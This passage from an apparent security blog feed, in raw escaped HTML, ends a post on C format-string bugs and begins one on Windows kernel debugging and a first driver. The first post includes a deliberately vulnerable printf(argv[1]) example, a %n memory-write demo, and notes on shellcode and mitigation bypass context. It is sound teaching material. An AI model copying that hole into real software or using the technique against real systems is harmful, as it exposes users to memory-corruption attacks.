&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;77&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;a=&lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt;, b=&lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;a=&lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt;, b=&lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;The second call in this code has no list of variables to print&lt;/li&gt;
&lt;li&gt;Still, the second call doesn’t cause a compile error, and the program runs normally&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Reading memory with printf&lt;a href=&quot;#reading-memory-with-printf&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;Example&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;stdio.h&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;argc&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;argv&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;argv&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;]);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Pass in an ordinary string and you get an ordinary string back&lt;/li&gt;
&lt;li&gt;But if it contains format specifiers, it reads data off the stack&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Writing memory with printf&lt;a href=&quot;#writing-memory-with-printf&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;Example&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;stdio.h&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;argc&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;char&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;argv&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;len_print&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;before write: length=&lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;len_print&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;hello:&lt;/span&gt;&lt;span&gt;%d%n&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;len_print&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;len_print&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;after write: length=&lt;/span&gt;&lt;span&gt;%d&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;len_print&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;The %n specifier counts how many characters were printed so far and writes that number back into len_print&lt;/li&gt;
&lt;/ul&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Looking at it again today&lt;a href=&quot;#looking-at-it-again-today&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Everything in this post is still right in principle, but on today’s Windows you basically can’t reproduce the labs anymore.&lt;/p&gt;&lt;p&gt;Fixed addresses were the first thing to go. Vista brought ASLR, and the MSVC linker now turns on &lt;code&gt;/DYNAMICBASE&lt;/code&gt; by default, so a hardcoded &lt;code&gt;jmp esp&lt;/code&gt; address like &lt;code&gt;0x77D29353&lt;/code&gt; is wrong after a single reboot, and the stack isn’t always at &lt;code&gt;0x0012XXXX&lt;/code&gt; anymore. The stack itself isn’t executable by default (DEP), so jumping to shellcode on the stack just raises an access violation. And if a function has an array in it, the compiler adds a GS cookie and checks it before returning. The next few posts go through these one at a time.&lt;/p&gt;&lt;p&gt;Overwriting the return address now also has to get past the hardware. Intel CET’s shadow stack keeps a second copy of the return address inside the CPU, and if the two don’t match on &lt;code&gt;ret&lt;/code&gt;, you get an exception right away. Windows calls it Hardware-enforced Stack Protection. It only applies to 64-bit processes linked with &lt;code&gt;/CETCOMPAT&lt;/code&gt; running on a CPU that supports CET, and high-value targets like browsers turned it on long ago.&lt;/p&gt;&lt;p&gt;The PEB walk, on the other hand, hasn’t aged at all. On 64-bit the TEB is in the &lt;code&gt;GS&lt;/code&gt; segment, the PEB is at &lt;code&gt;gs:[0x60]&lt;/code&gt;, and Ldr is at &lt;code&gt;+0x18&lt;/code&gt; in the PEB. The offsets changed, the idea is exactly the same. Today’s shellcode more often recognizes kernel32 by comparing module names (BaseDllName) instead of counting positions, because of the extra KernelBase that showed up in Win7. Counting positions has to change with every version, while names are more stable. And because almost every piece of shellcode has to walk this same path, “read PEB-&amp;gt;Ldr, walk the export table, hash function names” has become something EDRs and antivirus watch very closely.&lt;/p&gt;&lt;p&gt;In MSVC’s CRT, &lt;code&gt;%n&lt;/code&gt; has been disabled by default since VS2005. Hitting it calls the invalid parameter handler, and you have to turn it on with &lt;code&gt;_set_printf_count_output&lt;/code&gt; first. glibc still supports &lt;code&gt;%n&lt;/code&gt;, but with &lt;code&gt;_FORTIFY_SOURCE=2&lt;/code&gt;, a format string in writable memory that contains &lt;code&gt;%n&lt;/code&gt; makes the program exit with &lt;code&gt;%n in writable segment detected&lt;/code&gt;. Still, that &lt;code&gt;printf(argv[1])&lt;/code&gt; up there reads the stack with &lt;code&gt;%x&lt;/code&gt; just fine anywhere, so format string bugs are still real today. Using one to write memory is just a lot harder.&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>Getting Started with Windows Kernel Drivers, a Debugging Setup and the Basics</title><link>https://blog.lumysia.net/posts/windows-kernel-driver-basics/</link><guid isPermaLink="true">https://blog.lumysia.net/posts/windows-kernel-driver-basics/</guid><description>Setting up kernel debugging with KDNET and WinDbg, reading EPROCESS and the PEB through symbols, then writing a first driver and looking at the System process context, IRQL, strings, lists, spinlocks, pool allocation and kernel objects.</description><pubDate>Sat, 17 Oct 2020 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;This post is two sets of my 2020 kernel notes merged and rewritten. First came two posts on setting up a debugging environment (“Windows Kernel Debugging Notes”), then two on programming basics (“Windows Kernel Notes”). Back then my lab was Windows 7 x86 in VMware with serial-port debugging, which is long overdue for retirement in 2026, so I rewrote the setup part from scratch around network debugging (KDNET). Most of the programming part still holds up, but the code had a few bugs that would really deadlock or leak in a driver, and I’ve fixed those too.&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;Setting up kernel debugging today&lt;a href=&quot;#setting-up-kernel-debugging-today&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;My old setup was a VMware virtual serial port, debugging turned on in &lt;code&gt;msconfig&lt;/code&gt;, and WinDbg talking over a named pipe. It still works, but there’s no reason to bother anymore. Since Windows 8 you can debug the kernel over the network, and KDNET sets it all up with one command. That’s a lot less fiddly than a virtual serial port.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;What you need&lt;a href=&quot;#what-you-need&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;blockquote&gt;&lt;p&gt;Host machine&lt;/p&gt;&lt;/blockquote&gt;&lt;ul&gt;
&lt;li&gt;Windows 10/11 x64&lt;/li&gt;
&lt;li&gt;Visual Studio 2022 with “Desktop development with C++”&lt;/li&gt;
&lt;li&gt;The Windows Driver Kit (the version that matches your VS)&lt;/li&gt;
&lt;li&gt;WinDbg (just install “WinDbg” from the Microsoft Store now, it’s the released version of what used to be WinDbg Preview)&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;Target machine&lt;/p&gt;&lt;/blockquote&gt;&lt;ul&gt;
&lt;li&gt;A Windows 10/11 x64 VM&lt;/li&gt;
&lt;li&gt;DebugView (the old Sysinternals tool for watching &lt;code&gt;DbgPrint&lt;/code&gt; output)&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Configuring KDNET&lt;a href=&quot;#configuring-kdnet&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;On the target, run the &lt;code&gt;kdnet.exe&lt;/code&gt; that ships with the WDK as administrator:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;kdnet.exe &amp;lt;host IP&amp;gt; &amp;lt;port&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;It prints a long debugging key, writes the debug settings into the target’s boot configuration for you, and then asks you to reboot. Every time you run it again you get a brand new key, so make sure you’re using the latest one. If the target is a VM, put its network on bridged mode or on the same NAT subnet as the host so the two can ping each other.&lt;/p&gt;&lt;p&gt;After the reboot, go to &lt;code&gt;File -&amp;gt; Attach to kernel -&amp;gt; Net&lt;/code&gt; in WinDbg on the host, fill in the port and that key, and you’re connected. Set the symbol path to &lt;code&gt;SRV*C:\Symbols*https://msdl.microsoft.com/download/symbols&lt;/code&gt;. The first connection downloads the matching PDBs, so it’s slow the first time, which is normal.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;My old notes also had steps for getting a Win7 image with a VMware serial number and a Thunder download link. Those are obviously gone. Nobody needs Win7 x86 to learn the kernel today.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Turning on test signing&lt;a href=&quot;#turning-on-test-signing&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;A driver you wrote yourself isn’t properly signed, so on the target you either turn on test mode, or change things live from WinDbg once you’re attached:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bcdedit /set testsigning on&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Reboot after that and you’ll see a “Test Mode” watermark in the bottom right of the desktop. That’s fine for experiments in a VM. On a real machine I wouldn’t leave it on for long, because in test mode any unsigned driver can load, which means you’ve opened the last door yourself.&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Looking at kernel structures through symbols&lt;a href=&quot;#looking-at-kernel-structures-through-symbols&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Most kernel structures aren’t documented, but Microsoft publishes PDB symbols for Windows, and with symbols WinDbg can list every field name and offset of a struct. This is the single most important thing for reading the kernel. &lt;strong&gt;Don’t memorize offsets, let the symbols tell you.&lt;/strong&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;kd&amp;gt; dt nt!_EPROCESS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span&gt;+0x000 Pcb              : _KPROCESS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span&gt;+0x440 UniqueProcessId  : Ptr64 Void&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span&gt;+0x448 ActiveProcessLinks : _LIST_ENTRY&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;kd&amp;gt; dt nt!_EPROCESS -b    // expand nested structs&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;kd&amp;gt; dt nt!_PEB&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;The ones I use all the time:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dt&lt;/code&gt; shows a struct, &lt;code&gt;-b&lt;/code&gt; expands it recursively, &lt;code&gt;-r&lt;/code&gt; shows raw offsets&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!process 0 0&lt;/code&gt; lists every process with its EPROCESS address and name&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!peb&lt;/code&gt; shows a process’s PEB directly&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kd&amp;gt; ? @@(nt!_EPROCESS.ActiveProcessLinks)&lt;/code&gt; works out the offset of a field&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;Offsets change between versions, and that’s the easiest trap to fall into in kernel programming. Back then I pasted the full &lt;code&gt;dt _EPROCESS&lt;/code&gt; and &lt;code&gt;dt _PEB&lt;/code&gt; output (hundreds of lines) across two posts. It was only valid for Win7 x86 SP1 and every bit of it is different on x64, so I’m not pasting the dumps here. Knowing how to look it up is far more useful than knowing what the number was.&lt;/p&gt;&lt;/blockquote&gt;&lt;section&gt;&lt;h3&gt;A few anti-debugging spots while we’re here&lt;a href=&quot;#a-few-anti-debugging-spots-while-were-here&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;It feels a bit nostalgic now, but these PEB fields are still used to check whether a process is being debugged, and you run into them all the time in malware analysis:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;PEB-&amp;gt;BeingDebugged&lt;/code&gt; (x86 &lt;code&gt;+0x002&lt;/code&gt;, x64 &lt;code&gt;+0x002&lt;/code&gt;) says whether the process is being debugged. User mode can change this field, so anti-debugging that relies on it alone is weak&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PEB-&amp;gt;NtGlobalFlag&lt;/code&gt; (x86 &lt;code&gt;+0x068&lt;/code&gt;, x64 &lt;code&gt;+0x0BC&lt;/code&gt;) is normally 0. When a debugger creates the process it carries &lt;code&gt;FLG_HEAP_ENABLE_TAIL_CHECK(0x10) | FLG_HEAP_ENABLE_FREE_CHECK(0x20) | FLG_HEAP_VALIDATE_PARAMETERS(0x40)&lt;/code&gt;, which is &lt;code&gt;0x70&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The heap’s &lt;code&gt;Flags&lt;/code&gt;/&lt;code&gt;ForceFlags&lt;/code&gt;. Under a debugger the heap flags and &lt;code&gt;ForceFlags&lt;/code&gt; get set to something non-zero (&lt;code&gt;ForceFlags&lt;/code&gt; is normally 0)&lt;/li&gt;
&lt;/ul&gt;&lt;hr /&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The first driver&lt;a href=&quot;#the-first-driver&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Starting with the classic HelloWorld, of course:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#include&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;ntddk.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;VOID &lt;/span&gt;&lt;span&gt;DriverUnload&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;PDRIVER_OBJECT &lt;/span&gt;&lt;span&gt;DriverObject&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;DbgPrint&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;[&lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt;ws] Driver Unload, Driver Object Address: &lt;/span&gt;&lt;span&gt;%p&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, __FUNCTIONW__, DriverObject);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;NTSTATUS &lt;/span&gt;&lt;span&gt;DriverEntry&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;PDRIVER_OBJECT &lt;/span&gt;&lt;span&gt;DriverObject&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; PUNICODE_STRING &lt;/span&gt;&lt;span&gt;RegistryPath&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;DbgPrint&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;[&lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt;ws] Hello Kernel World!&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, __FUNCTIONW__);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (DriverObject &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;DbgPrint&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;[&lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt;ws] Driver Object Address: &lt;/span&gt;&lt;span&gt;%p&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, __FUNCTIONW__, DriverObject);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;DriverObject&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;DriverUnload&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; DriverUnload;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (RegistryPath &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;NULL&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    